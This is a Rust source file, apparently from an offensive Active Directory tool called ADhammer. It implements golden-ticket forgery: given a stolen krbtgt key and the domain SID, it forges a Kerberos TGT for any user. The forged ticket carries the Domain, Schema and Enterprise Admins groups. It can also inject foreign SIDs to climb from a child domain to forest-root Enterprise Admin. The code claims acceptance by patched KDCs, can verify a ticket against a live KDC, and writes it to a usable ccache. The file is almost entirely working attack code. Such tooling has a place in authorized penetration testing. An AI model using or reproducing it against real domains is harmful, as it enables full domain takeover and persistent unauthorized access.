adhammer 1.4.10

ADhammer — Active Directory security assessment and offensive tradecraft in Rust, with a from-scratch DCE/RPC · NTLM · SMB2 · Kerberos stack.
//! Golden ticket: forge a TGT for any identity with the krbtgt AES256 key.
//! Sealed + double-signed so fully-patched (KB5020805) KDCs still accept it.

use crate::ui;
use anyhow::{Context, Result};
use clap::Parser;

#[derive(Parser)]
pub(crate) struct GoldenArgs {
    /// KDC host or IP.
    #[arg(long)]
    pub kdc: String,
    /// Kerberos realm (e.g. CORP.LOCAL).
    #[arg(long)]
    pub realm: String,
    /// krbtgt key: AES256 (64 hex) by default, or the RC4/NT hash (32 hex) with --rc4.
    #[arg(long)]
    pub krbtgt_aes256: adhammer_core::SecretString,
    /// Forge an RC4-HMAC (etype 23) ticket — interpret the key as the krbtgt NT hash (legacy DCs).
    #[arg(long)]
    pub rc4: bool,
    /// Domain SID (S-1-5-21-a-b-c).
    #[arg(long)]
    pub domain_sid: String,
    /// Identity to impersonate (default Administrator).
    #[arg(long, default_value = "Administrator")]
    pub user: String,
    /// RID of the impersonated account (default 500).
    #[arg(long, default_value_t = 500)]
    pub rid: u32,
    /// Group RIDs to embed (default: Users + Domain/Schema/Enterprise Admins + GPO Creators).
    #[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
    pub groups: Vec<u32>,
    /// Write the forged TGT to this ccache path.
    #[arg(long)]
    pub out: Option<String>,
    /// Optional live acceptance proof: request a service ticket for this SPN with the forged TGT.
    #[arg(long)]
    pub verify_spn: Option<String>,
    /// **1.4.8-A WS-SID-HISTORY-INJECT.** Foreign-forest / cross-domain SID(s) to inject
    /// into the PAC's `ExtraSids` field (KERB_VALIDATION_INFO.SidCount, MS-PAC §2.5).
    /// This is the SID-history-injection attack: from a compromised child domain, forge
    /// a Golden ticket that carries the ROOT-domain Enterprise Admins SID
    /// (`S-1-5-21-<root-forest>-519`) as an ExtraSid. On a trusting forest with SID
    /// filtering disabled — or a same-forest child-domain trust where SIDHistory is not
    /// filtered by default — the KDC authorizes the forged principal AS the injected
    /// group without needing the trusting forest's krbtgt key.
    ///
    /// Repeat `--foreign-sid` or comma-separate for multiple. Format: full
    /// `S-1-5-21-...-RID`. Only identifier authority 5 (NT_AUTHORITY) accepted —
    /// ExtraSids is a domain/forest-SID-only field.
    ///
    /// Canonical example (child → root Enterprise Admins):
    ///   `adhammer attack golden --realm CHILD.CORP.LOCAL --krbtgt-aes256 <hex>
    ///    --domain-sid S-1-5-21-1-2-3 --user Administrator --rid 500
    ///    --foreign-sid S-1-5-21-10-20-30-519 --out ea.ccache`
    #[arg(long, value_delimiter = ',')]
    pub foreign_sid: Vec<String>,
}

/// Golden ticket: forge a TGT for an arbitrary identity, sealed + double-signed with the domain's
/// krbtgt AES256 key. Accepted by fully-patched (KB5020805) KDCs because the forged PAC carries a
/// valid KDC signature plus PAC_REQUESTOR/PAC_ATTRIBUTES.
///
/// Wraps `golden_impl` with a per-stage checklist so the run-end card breaks the operation into
/// distinct phases (key parse → SID parse → foreign SID parse → forge → verify → write ccache).
pub(crate) async fn golden(a: GoldenArgs) -> Result<()> {
    let mut checklist = ui::StageChecklist::new([
        "parse krbtgt key",
        "parse domain SID",
        "parse foreign SIDs (ExtraSids)",
        "forge golden TGT",
        "verify with KDC (--verify-spn)",
        "write ccache",
    ]);
    let result = golden_impl(a, &mut checklist).await;
    match &result {
        Ok(()) => checklist.render("Golden stages"),
        Err(e) => {
            let brief = format!("{e:#}")
                .lines()
                .next()
                .unwrap_or("failed")
                .chars()
                .take(80)
                .collect::<String>();
            checklist.mark_current_failed(brief);
            checklist.render("Golden stages (failed)");
        }
    }
    result
}

async fn golden_impl(a: GoldenArgs, checklist: &mut ui::StageChecklist) -> Result<()> {
    use adhammer_kerberos::pac::ForgeIdentity;

    let key = crate::parse_forge_key(&a.krbtgt_aes256, a.rc4)?;
    checklist.record_ok(
        "parse krbtgt key",
        if a.rc4 {
            "RC4-HMAC (NT hash)"
        } else {
            "AES256-CTS-HMAC-SHA1-96"
        },
    );
    let subs: Vec<u32> = a
        .domain_sid
        .trim_start_matches("S-1-5-")
        .split('-')
        .map(|x| x.parse::<u32>())
        .collect::<std::result::Result<_, _>>()
        .context("--domain-sid must be S-1-5-21-a-b-c")?;
    checklist.record_ok("parse domain SID", format!("→ {}", a.domain_sid));

    // Parse --foreign-sid values into sub-authority chains for the PAC's ExtraSids.
    // Only identifier authority 5 (NT_AUTHORITY) is meaningful in KERB_VALIDATION_INFO
    // ExtraSids — anything else is nonsense in an AD trust context.
    let mut extras: Vec<Vec<u32>> = Vec::with_capacity(a.foreign_sid.len());
    for sid_str in &a.foreign_sid {
        let sid = adhammer_core::sid::Sid::parse(sid_str).ok_or_else(|| {
            anyhow::anyhow!("--foreign-sid {sid_str:?} is not a valid SID (want S-1-5-21-...-RID)")
        })?;
        if sid.identifier_authority != 5 {
            anyhow::bail!(
                "--foreign-sid {sid_str} has identifier authority {} != 5; ExtraSids only \
                 accepts NT_AUTHORITY (S-1-5-...) forest/domain SIDs",
                sid.identifier_authority
            );
        }
        extras.push(sid.sub_authorities.clone());
    }

    let id = ForgeIdentity {
        user: a.user.clone(),
        rid: a.rid,
        primary_gid: 513,
        group_rids: a.groups.clone(),
        domain_subauths: subs,
        logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
        logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
        extra_sids: extras,
    };
    if !a.foreign_sid.is_empty() {
        println!(
            "[+] injecting {} foreign SID(s) into PAC ExtraSids:",
            a.foreign_sid.len()
        );
        for s in &a.foreign_sid {
            println!("    {s}");
        }
        checklist.record_ok(
            "parse foreign SIDs (ExtraSids)",
            format!("{} SID(s) injected", a.foreign_sid.len()),
        );
    } else {
        checklist.record_ok("parse foreign SIDs (ExtraSids)", "none");
    }
    let tgt = adhammer_kerberos::forge_golden_tgt(&id, &a.realm, &key, a.rc4)?;
    checklist.record_ok(
        "forge golden TGT",
        format!("{}@{} (rid {})", a.user, a.realm, a.rid),
    );
    println!(
        "[+] forged golden TGT: {}@{} (rid {}, groups {:?})",
        a.user, a.realm, a.rid, a.groups
    );

    if let Some(spn) = &a.verify_spn {
        match adhammer_kerberos::roast_spn(&tgt, &a.user, spn, &a.kdc).await {
            Ok(_) => {
                checklist.record_ok(
                    "verify with KDC (--verify-spn)",
                    format!("KDC accepted for {spn}"),
                );
                println!("[+] KDC accepted the golden ticket (TGS-REP for {spn})");
            }
            Err(e) => {
                checklist.record_ok(
                    "verify with KDC (--verify-spn)",
                    format!("KDC rejected for {spn}: {e}"),
                );
                println!("[-] KDC rejected the golden ticket for {spn}: {e}");
            }
        }
    } else {
        checklist.record_ok(
            "verify with KDC (--verify-spn)",
            "skipped (no --verify-spn)",
        );
    }
    if let Some(out) = &a.out {
        let cc = adhammer_kerberos::golden_ccache(&tgt, &a.user)?;
        adhammer_core::write_secret_artifact(
            std::path::Path::new(out),
            adhammer_core::SecretArtifact::Ccache,
            &cc,
        )?;
        checklist.record_ok("write ccache", format!("→ {out} ({} bytes)", cc.len()));
        println!(
            "[+] wrote ccache → {out} ({} bytes). Use: KRB5CCNAME={out}",
            cc.len()
        );
    } else {
        checklist.record_ok("write ccache", "skipped (no --out)");
    }
    Ok(())
}